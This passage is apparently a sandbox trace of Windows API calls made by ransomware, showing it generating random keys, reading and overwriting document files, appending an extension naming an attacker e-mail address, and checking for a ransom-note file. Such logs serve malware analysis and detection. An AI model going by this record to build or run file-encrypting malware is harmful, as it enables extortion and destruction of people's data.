[0170.581] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057f30) returned 1 [0170.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0170.582] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.582] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.582] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.582] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0170.582] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1286f8d4, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1286f8d4*=0x4096, lpOverlapped=0x0) returned 1 [0170.582] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.582] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x15687, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.583] WriteFile (in: hFile=0x528, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1286f90c, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x1286f90c*=0x20, lpOverlapped=0x0) returned 1 [0170.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0170.583] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.583] WriteFile (in: hFile=0x528, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x1286f920*=0x8, lpOverlapped=0x0) returned 1 [0170.584] WriteFile (in: hFile=0x528, lpBuffer=0x1286f938*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x1286f938*, lpNumberOfBytesWritten=0x1286f920*=0x4, lpOverlapped=0x0) returned 1 [0170.584] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1286f920*=0x4, lpOverlapped=0x0) returned 1 [0170.584] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1286f920*=0x6c, lpOverlapped=0x0) returned 1 [0170.584] WriteFile (in: hFile=0x528, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x1286f920*=0x20, lpOverlapped=0x0) returned 1 [0170.584] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1286f920*=0x4, lpOverlapped=0x0) returned 1 [0170.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0170.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0170.585] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.585] CloseHandle (hObject=0x528) returned 1 [0170.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc41c0 [0170.585] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" [0170.585] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.585] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.586] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0170.587] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87af8 [0170.587] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.587] wcscat (in: _Dest=0x2f87af8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.587] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0170.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e970) returned 1 [0170.587] RtlExitUserThread (Status=0x1) Thread: id = 1909 os_tid = 0xad8 [0170.593] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.594] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.594] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x128efe04 | out: lpFileSize=0x128efe04*=23693) returned 1 [0170.594] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x5c89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.594] ReadFile (in: hFile=0x528, lpBuffer=0x128efdd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x128efdd4, lpOverlapped=0x0 | out: lpBuffer=0x128efdd8*, lpNumberOfBytesRead=0x128efdd4*=0x4, lpOverlapped=0x0) returned 1 [0170.596] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.596] CloseHandle (hObject=0x528) returned 1 [0170.596] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f68f28) returned 1 [0170.597] RtlExitUserThread (Status=0x0) Thread: id = 1910 os_tid = 0xae8 [0170.598] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.599] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.599] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1296f9bc | out: lpFileSize=0x1296f9bc*=90287) returned 1 [0170.599] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x160ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.599] ReadFile (in: hFile=0x528, lpBuffer=0x1296f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x1296f990*, lpNumberOfBytesRead=0x1296f98c*=0x4, lpOverlapped=0x0) returned 1 [0170.600] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0170.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0170.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f30 [0170.600] NtQuerySystemTime (in: CurrentTime=0x1296f968 | out: CurrentTime=0x1296f968*=132121213279159550) returned 0x0 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xb806644a [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xddbc31ea [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xca219f3d [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x537b6181 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x5334d7be [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x93abe0e4 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x8a62f832 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xe5954c1d [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x6a930136 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xfaaf3968 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xa6d57572 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xe0ec2a93 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xdb7a46be [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x61ce96f8 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xb8e30fe3 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x79a3d1dc [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x1572482f [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x321d9ab1 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x6a524cc0 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x1d454cfb [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x9494d474 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x97d8861d [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xeda6b18f [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x8abe8fae [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xe13d82cf [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x76863378 [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x276caa9b [0170.601] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x1332b100 [0170.602] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xc16aa05b [0170.602] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0xeb634090 [0170.602] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x5c2281ab [0170.602] RtlRandom (in: Seed=0x1296f974 | out: Seed=0x1296f974) returned 0x1e80bb22 [0170.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0170.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.616] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0170.617] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.617] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.617] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1296f940, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1296f940*=0x4096, lpOverlapped=0x0) returned 1 [0170.618] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0170.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f58 [0170.618] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057f58) returned 1 [0170.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0170.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0170.619] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1296f940, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1296f940*=0x4096, lpOverlapped=0x0) returned 1 [0170.620] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.620] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x160af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.620] WriteFile (in: hFile=0x528, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1296f978, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x1296f978*=0x20, lpOverlapped=0x0) returned 1 [0170.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0170.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.621] WriteFile (in: hFile=0x528, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x1296f98c*=0x8, lpOverlapped=0x0) returned 1 [0170.622] WriteFile (in: hFile=0x528, lpBuffer=0x1296f9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x1296f9a4*, lpNumberOfBytesWritten=0x1296f98c*=0x4, lpOverlapped=0x0) returned 1 [0170.622] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1296f98c*=0x4, lpOverlapped=0x0) returned 1 [0170.622] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1296f98c*=0x6c, lpOverlapped=0x0) returned 1 [0170.622] WriteFile (in: hFile=0x528, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x1296f98c*=0x20, lpOverlapped=0x0) returned 1 [0170.622] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1296f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1296f98c*=0x4, lpOverlapped=0x0) returned 1 [0170.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0170.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0170.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.623] CloseHandle (hObject=0x528) returned 1 [0170.623] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff2450 [0170.623] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0170.623] wcscat (in: _Dest=0x2ff2450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.623] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.624] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0170.624] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87af8 [0170.625] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.625] wcscat (in: _Dest=0x2f87af8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.625] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.625] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0170.625] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4850) returned 1 [0170.625] RtlExitUserThread (Status=0x1) Thread: id = 1911 os_tid = 0xac0 [0170.632] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.632] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\mvtstnwabyt1ajl.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.633] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x129ef968 | out: lpFileSize=0x129ef968*=40460) returned 1 [0170.633] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x9e08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.633] ReadFile (in: hFile=0x528, lpBuffer=0x129ef93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x129ef938, lpOverlapped=0x0 | out: lpBuffer=0x129ef93c*, lpNumberOfBytesRead=0x129ef938*=0x4, lpOverlapped=0x0) returned 1 [0170.634] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0170.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0170.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f58 [0170.635] NtQuerySystemTime (in: CurrentTime=0x129ef914 | out: CurrentTime=0x129ef914*=132121213279441332) returned 0x0 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x5df770bb [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xc8028ad9 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xe8a99d45 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xd4f7524e [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xbce209c0 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x177913a5 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x3d2adbbd [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x439ba7a8 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x81307bf3 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x42baeffc [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x2d3fdde2 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xaecad720 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xe93ecebc [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x5276a293 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xbb1e60be [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x3176deef [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xee546f67 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x66636e4e [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xcda7a22b [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x86a90e45 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x898615a4 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xa40ff4d5 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xb177ffb1 [0170.635] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xd8ade568 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x7489c942 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xcd1ebef6 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0xf8302c26 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x65d3a550 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x7c19364b [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x3d47d336 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x25a2ab77 [0170.636] RtlRandom (in: Seed=0x129ef920 | out: Seed=0x129ef920) returned 0x312def68 [0170.648] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0170.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.651] RtlFreeHeap (HeapHandle=0x2f60000, 